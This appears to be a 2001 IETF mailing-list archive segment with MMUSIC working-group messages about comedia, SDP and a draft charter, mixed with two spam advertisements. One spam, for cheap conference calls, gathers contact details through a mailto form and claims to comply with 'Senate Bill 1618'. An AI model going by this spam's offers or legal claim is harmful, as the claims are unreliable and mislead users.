IjsgZm9udC1zaXplOiA5cHQ7IGNvbG9yOiAjMzMzMzMzfQ0KLS0+DQo8L3N0eWxlPg0KPC9o
ZWFkPg0KDQo8Ym9keSBiZ2NvbG9yPSIjRkZGRkZGIiB0ZXh0PSIjMDAwMDAwIiBsZWZ0bWFy
Z2luPSIwIiB0b3BtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAi
Pg0KPHRhYmxlIHdpZHRoPSI2NTAiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxw
YWRkaW5nPSIwIiBhbGlnbj0iY2VudGVyIiBib3JkZXJjb2xvcmxpZ2h0PSIjMDAwMDAwIiBi
b3JkZXJjb2xvcmRhcms9ImZmZmZmZiI+DQogIDx0cj4gDQogICAgPHRkIGNsYXNzPSJmb250
IiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIj4gDQogICAgICA8dGFibGUgd2lk
dGg9IjY1MCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGJn
Y29sb3I9IiNGRkZGRkYiPg0KICAgICAgICA8dHI+IA0KICAgICAgICAgIDx0ZD48aW1nIHNy
Yz0iaHR0cDovL3d3dy5oZWxsb3RlbC5jby5rci9oZWxsb3RlbG1haWwvaW1hZ2UvdG9wMS5q
cGciIHdpZHRoPSIyMDUiIGhlaWdodD0iNjUiIGJvcmRlcj0iMCI+PC90ZD4NCiAgICAgICAg
ICA8dGQ+PGltZyBzcmM9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28ua3IvaGVsbG90ZWxtYWls
L2ltYWdlL3RvcDIuZ2lmIiB3aWR0aD0iMjE0IiBoZWlnaHQ9IjY1IiBib3JkZXI9IjAiPjwv
dGQ+DQogICAgICAgICAgPHRkPjxpbWcgc3JjPSJodHRwOi8vd3d3LmhlbGxvdGVsLmNvLmty
L2hlbGxvdGVsbWFpbC9pbWFnZS90b3AzLmdpZiIgd2lkdGg9IjIzMSIgaGVpZ2h0PSI2NSIg
Ym9yZGVyPSIwIj48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgICA8dHI+IA0KICAgICAg
ICAgIDx0ZD48aW1nIHNyYz0iaHR0cDovL3d3dy5oZWxsb3RlbC5jby5rci9oZWxsb3RlbG1h
aWwvaW1hZ2UvdG9wNC5qcGciIHdpZHRoPSIyMDUiIGhlaWdodD0iNjciIGJvcmRlcj0iMCI+
PC90ZD4NCiAgICAgICAgICA8dGQ+PGltZyBzcmM9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28u
a3IvaGVsbG90ZWxtYWlsL2ltYWdlL3RvcDUuZ2lmIiB3aWR0aD0iMjE0IiBoZWlnaHQ9IjY3
IiBib3JkZXI9IjAiPjwvdGQ+DQogICAgICAgICAgPHRkPjxpbWcgc3JjPSJodHRwOi8vd3d3
LmhlbGxvdGVsLmNvLmtyL2hlbGxvdGVsbWFpbC9pbWFnZS90b3A2LmdpZiIgd2lkdGg9IjIz
MSIgaGVpZ2h0PSI2NyIgYm9yZGVyPSIwIj48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAg
ICA8dHIgYWxpZ249ImNlbnRlciI+IA0KICAgICAgICAgIDx0ZCBoZWlnaHQ9IjYwIiBjb2xz
cGFuPSIzIiBjbGFzcz0iZm9udCI+wPrI8SDH77fOv+zF2sC7IMDMv+vHz7+pIL+5vuCwocDU
wLsgx8+9xSCw7bC0tNS16b+hsNQgDQogICAgICAgICAgICCwqLvnwMcguLbAvcC7IMD8x8+w
7cDaPGJyPg0KICAgICAgICAgICAgwM7FzbPdv+sgVVNCIFBIT05FwLsgvLHC+Lz4ILi4uO2/
oSDH0cfPv6kgw9bA+rChv6EgteW4s7TPtNkuPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAg
ICAgPHRyIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgIDx0ZCBoZWlnaHQ9IjYwIiBjb2xz
cGFuPSIzIiBjbGFzcz0iZm9udCI+PGEgaHJlZj0iaHR0cDovL3d3dy5oZWxsb3RlbC5jby5r
ci8iIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaHR0cDovL3d3dy5oZWxsb3RlbC5jby5r
ci9oZWxsb3RlbG1haWwvaW1hZ2UvZXZlbnQxLmdpZiIgd2lkdGg9IjE2MSIgaGVpZ2h0PSIx
MjUiIGJvcmRlcj0iMCI+PGltZyBzcmM9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28ua3IvaGVs
bG90ZWxtYWlsL2ltYWdlL2V2ZW50Mi5naWYiIHdpZHRoPSIxNjIiIGhlaWdodD0iMTI1IiBi
b3JkZXI9IjAiPjxpbWcgc3JjPSJodHRwOi8vd3d3LmhlbGxvdGVsLmNvLmtyL2hlbGxvdGVs
bWFpbC9pbWFnZS9ldmVudDMuZ2lmIiB3aWR0aD0iMTY0IiBoZWlnaHQ9IjEyNSIgYm9yZGVy
PSIwIj48aW1nIHNyYz0iaHR0cDovL3d3dy5oZWxsb3RlbC5jby5rci9oZWxsb3RlbG1haWwv
aW1hZ2UvZXZlbnQ0LmdpZiIgd2lkdGg9IjE2MyIgaGVpZ2h0PSIxMjUiIGJvcmRlcj0iMCI+
PC9hPjwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxlPg0KICAgICAgPGJyPg0K
ICAgICAgPHRhYmxlIHdpZHRoPSI2NTAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl
bGxwYWRkaW5nPSIwIiBiZ2NvbG9yPSIjRkZGRkZGIj4NCiAgICAgICAgPHRyIGJnY29sb3I9
IiMwMDAwMDAiPiANCiAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgaGVpZ2h0PSIxIj4gDQog
ICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPjwvZGl2Pg0KICAgICAgICAgIDwvdGQ+
DQogICAgICAgIDwvdHI+DQogICAgICAgIDx0cj4gDQogICAgICAgICAgPHRkIHdpZHRoPSIy
MDAiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj48YnI+DQogICAgICAgICAgICA8YSBo
cmVmPSJodHRwOi8vd3d3LmhlbGxvdGVsLmNvLmtyLyIgdGFyZ2V0PSJfYmxhbmsiPjxpbWcg
c3JjPSJodHRwOi8vd3d3LmhlbGxvdGVsLmNvLmtyL2hlbGxvdGVsbWFpbC9pbWFnZS9nb29k
cy5naWYiIHdpZHRoPSIxOTAiIGhlaWdodD0iMjMzIiBib3JkZXI9IjAiPjwvYT48L3RkPg0K
ICAgICAgICAgIDx0ZCB3aWR0aD0iMSIgYmdjb2xvcj0iIzAwMDAwMCI+IA0KICAgICAgICAg
ICAgPGRpdiBhbGlnbj0iY2VudGVyIj48L2Rpdj4NCiAgICAgICAgICA8L3RkPg0KICAgICAg
ICAgIDx0ZCB3aWR0aD0iNDMwIiB2YWxpZ249InRvcCI+IA0KICAgICAgICAgICAgPHRhYmxl
IHdpZHRoPSI0MzAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIw
IiBjbGFzcz0iZm9udCI+DQogICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAg
PHRkPjxpbWcgc3JjPSJodHRwOi8vd3d3LmhlbGxvdGVsLmNvLmtyL2hlbGxvdGVsbWFpbC9p
bWFnZS90dGwxLmdpZiIgd2lkdGg9IjI4NiIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj48L3Rk
Pg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAg
ICAgICAgIDx0ZCBoZWlnaHQ9IjYwIj4gJm5ic3A7Jm5ic3A7LSCx4sG4wMcgwM+53SDA/Mit
ufi3zrimILHXtOu3ziC757/rx8+9xyC89iDA1r3AtM+02S48YnI+DQogICAgICAgICAgICAg
ICAgICAmbmJzcDsmbmJzcDstIFVTQiDAzsXNxuTAzL26t84gUExVRyAmYW1wOyBQTEFZuKYg
wfa/+MfPuce3ziC8s8ShILnXILvnv+vAzCCwo8btPC90ZD4NCiAgICAgICAgICAgICAgPC90
cj4NCiAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIy
MCI+PGltZyBzcmM9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28ua3IvaGVsbG90ZWxtYWlsL2lt
YWdlL3R0bDIuZ2lmIiB3aWR0aD0iMjg2IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiPjwvdGQ+
DQogICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAg
ICAgICAgPHRkIGhlaWdodD0iNjAiPiAmbmJzcDsmbmJzcDstILvnv+615SDEq7XluKYgs7vA
5cfPv6kgw9a788DHIMXryK0gwL3B+rfOIMDOxc2z3cD8yK0gsKG0yTxicj4NCiAgICAgICAg
ICAgICAgICAgICZuYnNwOyZuYnNwOy0gxevIrcH2v6zAzLOqILL3segsIL+hxNrH9rvzLMDi
wL3AzCCwxcDHIMDPud0gwK+8scD8yK0gvPbB2DwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+
DQogICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJo
dHRwOi8vd3d3LmhlbGxvdGVsLmNvLmtyL2hlbGxvdGVsbWFpbC9pbWFnZS90dGwzLmdpZiIg
d2lkdGg9IjI4NiIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj48L3RkPg0KICAgICAgICAgICAg
ICA8L3RyPg0KICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgIDx0ZCBoZWln
aHQ9IjgwIj4gJm5ic3A7Jm5ic3A7LSCx4rq7t+Egv/kgNCwwMDC/+MC4t84gv6zAzizEo7G4
LLChwbcstb/Io8i4v/iwoyC5q8Gmx9EgDQogICAgICAgICAgICAgICAgICDF68itPGJyPg0K
ICAgICAgICAgICAgICAgICAgJm5ic3A7Jm5ic3A7LSDA/LG5L73Ds7u/5LHdIDM5v/gsyN60
68b5IMPWtOsgMjElLLG5wabA/MitIMPWtOsgOTUlt84gwPq3xTxicj4NCiAgICAgICAgICAg
ICAgICAgICZuYnNwOyZuYnNwOy0gwPy8vLDoIDIzMLCzsbkgxevIrSC51yDH2L/cv6G8rSDA
2rW/ILfOudbAzCCwobTJPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAg
IDwvdGFibGU+DQogICAgICAgICAgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRy
PiANCiAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImNlbnRlciIgaGVpZ2h0PSIx
IiBiZ2NvbG9yPSIjMDAwMDAwIj4gDQogICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIi
PjwvZGl2Pg0KICAgICAgICAgIDwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxl
Pg0KICAgICAgPHA+vsa3oSDB1rzSt84gv8C8xbytIMeqwfzH0SCw5sewIMfgu+e/zSDH1LKy
ILD4tb+xuLjFv6Egwvy/qSDHz73DseIgudm2+LTPtNkuPGJyPg0KICAgICAgICA8YnI+DQog
ICAgICAgIDxhIGhyZWY9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28ua3IvIiB0YXJnZXQ9Il9i
bGFuayI+orogPGI+aHR0cDovL3d3dy5oZWxsb3RlbC5jby5rcjwvYj48L2E+PGJyPg0KICAg
ICAgPC9wPg0KICAgICAgPHA+IDxhIGhyZWY9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28ua3Iv
IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9Imh0dHA6Ly93d3cuaGVsbG90ZWwuY28ua3Iv
aGVsbG90ZWxtYWlsL2ltYWdlL2V2ZW50X2J0LmdpZiIgd2lkdGg9IjEzOSIgaGVpZ2h0PSIy
NiIgYm9yZGVyPSIwIj48L2E+PGJyPg0KICAgICAgICA8YnI+DQogICAgICAgIDxicj4NCiAg
ICAgICAgPGEgaHJlZj0ibWFpbHRvOmhlbGxvdGVsQHphemEuaW5mbyI+PGI+uN7Az7z2vcWw
xbrOPC9iPjwvYT64piC/+MfPvcO46SAnvPa9xbDFus4ntvOw7SANCiAgICAgICAgx6Wx4sfP
v6kgurizu8HWvcOx4iC52bb4tM+02S48YnI+DQogICAgICA8L3A+DQogICAgPC90ZD4NCiAg
PC90cj4NCiAgPHRyPg0KICAgIDx0ZCBjbGFzcz0iZm9udCIgYWxpZ249ImNlbnRlciIgYmdj
b2xvcj0iIzkxMDAwMyIgaGVpZ2h0PSIyNCI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPqjPIA0K
ICAgICAgQ29weXJpZ2h0IDIwMDEgx++3zr/sxdogQWxsIHJpZ2h0cyByZXNlcnZlZC48L2Zv
bnQ+PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8L2JvZHk+DQo8L2h0bWw+DQo=

------=_NextPart_000_0027_01C0F11A.93A39C00--


From confctrl-owner  Mon Dec 10 16:45:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA01383
	for confctrl-outgoing; Mon, 10 Dec 2001 16:45:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA01378
	for <confctrl@zephyr.isi.edu>; Mon, 10 Dec 2001 16:45:59 -0800 (PST)
Received: from DNIDC02.Dialout.net ([206.183.139.198])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBB0kfg00371
	for <confctrl@ISI.EDU>; Mon, 10 Dec 2001 16:46:44 -0800 (PST)
Received: from dnimail.Dialout.net ([172.17.1.30]) by DNIDC02.Dialout.net with Microsoft SMTPSVC(5.0.2195.3779);
	 Mon, 10 Dec 2001 19:46:28 -0500
content-class: urn:content-classes:message
Subject: Action items from MMUSIC meeting for comedia-01
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C181DD.28EE46F0"
Date: Mon, 10 Dec 2001 19:45:41 -0500
Message-ID: <DCFB33B6D8BCC54B8219D8B90645866E13BD57@dnimail.Dialout.net>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Action items from MMUSIC meeting for comedia-01
Thread-Index: AcGB3SgYv33fiWNQTEikXSbJtHK4Hw==
From: "David Yon" <Yon@Dialout.net>
To: "confctrl@isi.edu" <confctrl@ISI.EDU>
Cc: "Paul Kyzivat" <pkyzivat@cisco.com>
X-OriginalArrivalTime: 11 Dec 2001 00:46:28.0355 (UTC) FILETIME=[44B4F530:01C181DD]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------_=_NextPart_001_01C181DD.28EE46F0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

1. I need to make sure that comedia syntax aligns with sdp-new.  I'll go
over the draft and work with Colin to resolve any conflicts.
=20
2. Symmetric RTP (UDP?) needs to be added as a transport type.  There
were at least two offers to supply wording as to how that is defined.
Any takers?
=20
3. There was one vote to eliminate "direction:reuse", with the implicit
assumption that endpoints are free to send new media streams over a
connection that has already been established.  Any dissent?  Paul
Kyzivat had provided the original motivation for its inclusion.  Paul:
do you have any issues there?  If not, I will remove direction:reuse and
replace with wording that describes the aforementioned assumption.
=20

------_=_NextPart_001_01C181DD.28EE46F0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message</TITLE>

<META content=3D"MSHTML 5.50.4616.200" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D784243600-11122001><FONT face=3DArial size=3D2>1. I =
need to make=20
sure that comedia&nbsp;syntax&nbsp;aligns with sdp-new.&nbsp; I'll go =
over the=20
draft and work with Colin to resolve any conflicts.</FONT></SPAN></DIV>
<DIV><SPAN class=3D784243600-11122001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D784243600-11122001><FONT face=3DArial size=3D2>2. =
Symmetric RTP=20
(UDP?) needs to be added as a transport type.&nbsp; There were at least =
two=20
offers to supply wording as to how that is defined.&nbsp; Any=20
takers?</FONT></SPAN></DIV>
<DIV><SPAN class=3D784243600-11122001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D784243600-11122001><FONT face=3DArial size=3D2>3. =
There was one=20
vote to eliminate "direction:reuse", with the implicit assumption that =
endpoints=20
are free to send new media streams over a connection that has already =
been=20
established.&nbsp; Any dissent?&nbsp; Paul Kyzivat had provided the =
original=20
motivation for its inclusion.&nbsp; Paul: do you have any issues =
there?&nbsp; If=20
not, I will remove direction:reuse and replace with wording that =
describes the=20
aforementioned assumption.</FONT></SPAN></DIV>
<DIV><SPAN class=3D784243600-11122001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C181DD.28EE46F0--

From confctrl-owner  Mon Dec 10 20:01:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA08164
	for confctrl-outgoing; Mon, 10 Dec 2001 20:01:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA08152
	for <confctrl@zephyr.isi.edu>; Mon, 10 Dec 2001 20:01:28 -0800 (PST)
Received: from localhost.localdomain ([211.22.118.66])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBB41jg19841;
	Mon, 10 Dec 2001 20:01:48 -0800 (PST)
Received: from DOULAB.COM.TW ([210.61.199.100])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id MAA24951;
	Tue, 11 Dec 2001 12:24:53 GMT
Date: Tue, 11 Dec 2001 12:24:53 GMT
Received: from eyesome.net by 104A4DG.DOULAB.COM.TW (IBM OS/400 SMTP V03R07M00) with TCP; Tue, 11 Dec 2001 11:45:43 +0000
From: "M.Daniels@eyesome.net" <M.Daniels@eyesome.net>
To: "9630@msn.com" <9630@msn.com>
Message-ID: <1008064379.0488017343@eyesome.net>
Subject: Conference calls/best quality/$.18 per minute!
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D=22text/html; charset=3Dwindows-1=
252=22>
<META content=3D=22MSHTML 5.50.4134.600=22 name=3DGENERATOR></HEAD>
<BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23000000 leftMargin=3D0><F=
ONT 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D=23999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23ff0000 size=3D5><B>Connects Up To 100 Participants=21</=
B></FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D=23999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBOD=
Y></TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23999999 size=3D4>If you like saving =
money, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23999999 size=3D2>Required Input Field<FONT color=3D=23ff0=
000 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D=23333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D=23ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inboxx808=40yahoo.co.uk?subject=3DConference_I=
nquiry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D=22100%=22>
        <TBODY>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D=22Submit Information=22 name=3Dsubmit=
> 
    </FORM></P></TD></TR></TBODY></TABLE>
<BR><BR>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D=22Arial, Helvetica, sans-serif=22 colo=
r=3D=23999999 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618=
, Title 3, Section 301.
      You have recently visited our web site, referral or affiliate sit=
es which indicated you were 
      interested in communication services.  If this email is reaching =
you in error and you feel that you have not contacted 
      us, <FONT color=3D=23666666><A href=3D=22mailto:delete1_8=40yahoo.com?=
subject=3DRemove_Conferencing=22>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be r=
emoved from our distribution list.
</FONT></TD></TR></TBODY></TABLE></P></CENTER></BODY></HTML>

From confctrl-owner  Tue Dec 11 07:37:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA01791
	for confctrl-outgoing; Tue, 11 Dec 2001 07:37:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA01786
	for <confctrl@zephyr.isi.edu>; Tue, 11 Dec 2001 07:37:49 -0800 (PST)
Received: from purple.nge.isi.edu (230-200-131-12.bellhead.com [12.131.200.230])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBBFcYg12948
	for <confctrl@isi.edu>; Tue, 11 Dec 2001 07:38:35 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBBFcUV04366
	for <confctrl@isi.edu>; Tue, 11 Dec 2001 10:38:30 -0500
Message-Id: <200112111538.fBBFcUV04366@purple.nge.isi.edu>
To: confctrl@ISI.EDU
Subject: Draft MMUSIC Charter
Date: Tue, 11 Dec 2001 10:38:30 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I enclose our draft for a new MMUSIC charter, comments would be appreciated. 

Note that the new mailing list is now ready for subscription, and that we
will be discontinuing use of the confctrl@isi.edu list shortly. You should
subscribe to the new list - we will not be automatically transferring
subscriptions.

Colin and Joerg





Multiparty MUltimedia SessIon Control (MMUSIC)
==============================================

WG chairs:

Joerg Ott, ipDialog, Inc. <jo@ipdialog.com>
Colin Perkins, USC/ISI    <csp@isi.edu>

Mailing Lists: 

General Discussion:  mmusic@ietf.org
To Subscribe:	     mmusic-request@ietf.org
Info & Archive:	     http://www.ietf.org/mailman/listinfo/mmusic
Additional web page: http://www.dmn.tzi.de/ietf/mmusic/

Description of Working Group: 

The Multiparty MUltimedia SessIon Control (MMUSIC) Working Group (WG)
was chartered to develop protocols to support Internet
teleconferencing sessions.  These protocols are now reasonably mature,
and many of them have received widespread deployment.  MMUSIC is now
focussing on the revisions of these in the light of implementation
experience and additional demands that have arisen from other WGs
(such as AVT, SIP, SIPPING, and MEGACO).

All types of multimedia communications are based upon a common
platform for expressing media streams (session) descriptions. This is
the session description protocol, SDP.  The many uses of SDP have led
to (requests for) numerous extensions, and have led to recognition of
several flaws in the protocol design for key applications of SDP.
MMUSIC will revise the SDP specification suitable for publication as a
draft standard to address minor revision and further support the
current broad deployment.  Work on an SDP MIB will be considered.

A few extensions to SDP will be pursued to remedy the most urgent of
SDP's shortcomings: However, these are limited to, adding means for
identifying and semantically grouping media sessions, providing
limited expressiveness for simultaneous capabilities, offering support
to work with NATs and firewalls, and documenting the use of SDP in SIP
as a separate document.  Apart from these, only extensions within the
existing framework of SDP will be done -- such as registering new
codecs and defining parameters for them as well as extending SDP to
include new address families.

Instead, to address the more fundamental issues with SDP, a next
generation of SDP -- referred to as SDPng -- will be developed as a
standards track document.  A requirements document will be devised
that gathers the individual requirements from the areas in which SDP
is currently deployed.  Work on an SDPng MIB will be considered.

MMUSIC will continue to maintain and revise the specification of the
Real Time Streaming Protocol (RTSP) based on implementation
experience.  The RTSP spec will be revised to include various fixes
and clarifications.  Depending on the changes, the revised RTSP spec
will be re-issued as Proposed or go to Draft Standard.  A MIB will
also be defined.

The WG's work items will be pursued in close coordination with other
IETF WGs related to multimedia conferencing and IP telephony (AVT,
SIP, SIPPING, IPTEL, MEGACO).  Where appropriate, new separate working
groups will be split off (as has happened with the SIP WG).

The Working Group is also charged with addressing security issues
related to the protocols it develops.


Goals and Milestones:

DONE   Submit ATM Extensions to SDP for Proposed Standard

DONE   Submit Mbus transport for Informational

DONE   Submit ATM Extensions to SDP for Proposed Standard

Dec 01 Submit SDP simultaneous capabilities for Proposed Standard

Dec 01 Submit SDP Flow Identification for Proposed Standard

Jan 02 Submit IPv6 Extensions to SDP for Proposed Standard

Feb 02 Submit revised SDP spec for Proposed (or Draft) Standard

Feb 02 Submit SIP's offer/answer use of SDP for Proposed Standard

Mar 02 Submit SDP4NAT for Proposed Standard (Informational?) 

Mar 02 Submit SDP key management for Proposed Standard

Apr 02 Submit SDPng base spec for Proposed Standard

Apr 02 Submit SDPng audio profile for Proposed Standard

May 02 Submit revised RTSP spec for Proposed or Draft Standard (as appropriate)

Jun 02 Submit SDPng video profile spec for Proposed Standard

Jul 02 Submit RTSP MIB for Proposed Standard

From confctrl-owner  Tue Dec 11 10:03:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA07228
	for confctrl-outgoing; Tue, 11 Dec 2001 10:03:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA07223
	for <confctrl@zephyr.isi.edu>; Tue, 11 Dec 2001 10:03:49 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBBI4Yg16987
	for <confctrl@ISI.EDU>; Tue, 11 Dec 2001 10:04:34 -0800 (PST)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBBI4Xc14635;
	Tue, 11 Dec 2001 13:04:33 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-68.cisco.com [161.44.241.68])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAG08916 (AUTH pkyzivat);
	Tue, 11 Dec 2001 13:05:50 -0500 (EST)
